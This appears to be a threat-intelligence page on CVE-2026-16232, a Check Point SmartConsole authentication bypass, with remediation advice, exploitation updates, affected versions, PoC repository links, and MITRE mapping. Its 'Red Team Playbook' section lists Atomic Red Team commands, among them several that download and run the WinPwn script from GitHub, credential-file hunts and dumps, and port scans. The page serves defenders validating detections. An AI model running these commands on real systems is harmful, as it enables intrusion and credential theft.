CVE-2026-16232

CRITICAL CISA KEV POC Pub 22/07 Upd 10/08

Overview

This vulnerability is an authentication bypass affecting the Check Point SmartConsole login process within the Quantum Security Management product. The root cause lies in improper validation of authentication tokens during the login sequence, allowing an unauthenticated attacker to retrieve a valid application login token. The flaw specifically impacts the authentication mechanism of the Management Server component when Trusted Clients restrictions are not enforced.

Vulnerability Description

An authentication bypass vulnerability in the Check Point SmartConsole login process allows an unauthenticated remote attacker to obtain an application login token and use it to authenticate with full administrative privileges. Successful exploitation allows the attacker to modify security policies and security configurations. Remote exploitation requires internet access to the Management Server IP address and a configuration that does not restrict Trusted Clients. Check Point is aware that this vulnerability is being exploited and has affected a very small number of customers.

Impact

An attacker with network access to the Management Server can obtain a valid administrative login token without credentials, enabling full control over security policies and configurations. This unauthorized access allows modification of firewall rules, security settings, and potentially disrupts organizational network defenses. The attack requires no authentication or user interaction but depends on the Management Server being reachable and Trusted Clients restrictions being disabled. This leads to a complete compromise of security management capabilities and potential lateral movement within the environment.

Solution

Check Point has released a security advisory (SK185169) addressing this issue in Quantum Security Management. Administrators should apply the updates provided in this advisory to affected versions immediately. The advisory includes detailed patch instructions and configuration recommendations to restrict Trusted Clients access. Refer to https://support.checkpoint.com/results/sk/sk185169 for official remediation steps and version-specific fixes.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The authentication bypass vulnerability in the Check Point SmartConsole login process represents a critical security flaw that allows unauthorized access to administrative functionalities. This vulnerability arises from insufficient validation mechanisms during the login process, enabling an unauthenticated remote attacker to acquire a valid application login token. Once this token is obtained, the attacker can authenticate as an administrator, gaining full control over the management interface. This flaw is particularly concerning given the potential for altering security policies and configurations, which could lead to widespread exploitation of the affected systems.

Exploitation of this vulnerability can occur through various attack vectors, primarily targeting systems that do not adequately restrict access to the Management Server IP address. An attacker with internet access can leverage this weakness to bypass authentication entirely. Scenarios may include targeted attacks against organizations that have misconfigured their security settings, allowing for remote access without proper safeguards. The lack of restrictions on Trusted Clients further exacerbates the issue, as it opens the door for attackers to exploit the vulnerability without needing to be on a trusted network. This ease of access makes the vulnerability particularly attractive to malicious actors seeking to compromise sensitive environments.

The real-world impact of this vulnerability is significant, posing severe risks to businesses that rely on Check Point's security solutions. Successful exploitation can lead to unauthorized changes in security configurations, potentially allowing attackers to disable security measures, exfiltrate sensitive data, or even deploy malware within the network. The implications of such actions can be catastrophic, resulting in financial losses, reputational damage, and regulatory penalties. Although reports indicate that the exploitation has affected a limited number of customers, the potential for widespread damage remains, particularly if the vulnerability is not addressed promptly.

To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular security assessments and penetration testing can help identify misconfigurations and weaknesses in the authentication process. Monitoring logs for unusual access patterns or unauthorized attempts to access the management interface can also provide early warning signs of exploitation attempts. Additionally, organizations should ensure that their configurations restrict access to the Management Server IP address and enforce strict authentication protocols. Applying security patches and updates provided by Check Point is crucial to closing this vulnerability and protecting against potential attacks.

In conclusion, the authentication bypass vulnerability in Check Point SmartConsole highlights the critical importance of robust authentication mechanisms in cybersecurity. The ability for an attacker to gain administrative access without proper validation poses a severe threat to organizational security. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Proactive detection and mitigation strategies are essential to safeguarding sensitive environments and maintaining the integrity of security policies.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-16232, highlighted by the emergence of a publicly available proof-of-concept exploit hosted on GitHub. This development significantly lowers the barrier to exploitation by enabling a wider range of threat actors to attempt unauthorized access to Check Point Quantum Security Management environments. Our telemetry indicates a notable surge in attempts to leverage this vulnerability, coinciding with the addition of CVE-2026-16232 to the CISA Known Exploited Vulnerabilities (KEV) catalog, which underscores its prioritization for remediation across critical infrastructure sectors. The CVSS score adjustment to 9.1 reflects the critical severity and potential for full administrative compromise, elevating the overall threat posture. Although ransomware usage linked to this vulnerability remains unconfirmed, the availability of exploitation tools and increased detection frequency suggest an expanding attack surface that defenders must urgently monitor. This evolution in the exploit landscape intensifies the risk to organizations relying on Check Point’s management solutions, as successful exploitation can lead to unauthorized policy manipulation and broader network compromise.



Update 2 — August 15, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2026-16232, accompanied by the emergence of multiple new proof-of-concept exploits publicly available on prominent code-sharing platforms. This surge is reflected in a significant increase in telemetry alerts and the vulnerability’s EPSS score rising sharply into the upper percentile, indicating a growing likelihood of successful exploitation in the wild. The expanded exploit landscape now includes automated scanning tools designed to identify misconfigurations related to this vulnerability, broadening the attack surface for opportunistic threat actors. Although ransomware usage linked to this vulnerability remains unconfirmed, the rapid proliferation of exploitation resources and the sharp uptick in detection activity underscore an elevated risk posture. For defenders, this means that the window for proactive detection and response is narrowing as adversaries gain easier access to effective exploitation methods. Consequently, the threat level associated with CVE-2026-16232 has intensified, warranting heightened vigilance and prioritization within security operations.

Affected Products (122)

Vendor Product Version CPE
checkpoint Checkpoint Multi-Domain Security Management All cpe:2.3:a:checkpoint:multi-domain_security_management:*:*:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:-:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_101:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_103:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_105:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_10:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_111:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_113:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_115:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_118:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_119:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_120:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_122:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_126:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_127:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_141:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_146:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_14:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_24:*:*:*:*:*:*
checkpoint Checkpoint Multi-Domain Security Management r81.20 cpe:2.3:a:checkpoint:multi-domain_security_management:r81.20:take_26:*:*:*:*:*:*
+102 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (4)

Repository Author Stars Forks Date Link
sfewer-r7/CVE-2026-16232
A proof-of-concept script to exploit CVE-2026-16232, an authentication bypass via the SmartConsole login process using a...
sfewer-r7 11 7 2026-07-28 View
HackSpeak/CVE-2026-16232
CVE-2026-16232 (Check Point SmartConsole authentication bypass) PoC - unauth to admin; for authorized security testing
HackSpeak 2 1 2026-08-03 View
HackSpeak/checkpoint-smartconsole-poc
CVE-2026-16232 (Check Point SmartConsole authentication bypass) PoC - unauth to admin; for authorized security testing
HackSpeak 2 1 2026-08-03 View
WadesWeaponShed/Check-Point-Trusted-Access-Review
Local web app for conducting a Check Point Trusted Access Review. This scanner is built specifically to look for configu...
WadesWeaponShed 0 0 2026-07-22 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

21 events
2026-08-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-22
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-21
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2026-08-13
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2026-08-05
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2026-08-04
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2026-08-03
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2026-08-02
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2026-08-01
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2026-07-31
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2026-07-30
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-29
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-07-28
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-27
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-26
Threat Sensor Sighting — Few sightings

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2026-07-25
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-24
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-23
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-07-22
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-22
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-07-22
PoC Published (4 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
Authorization Bypass
50% authz_bypass
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-22 Exploiting Trust in Client
43%
High High
CAPEC-114 Authentication Abuse
33%
Medium
CAPEC-633 Token Impersonation
33%
Medium
CAPEC-593 Session Hijacking
33%
High Very High
CAPEC-650 Upload a Web Shell to a Web Server
33%
High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

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References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-16232
support.checkpoint.com
GitHub CVE
https://support.checkpoint.com/results/sk/sk185169
cisa.gov
NVD API
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16232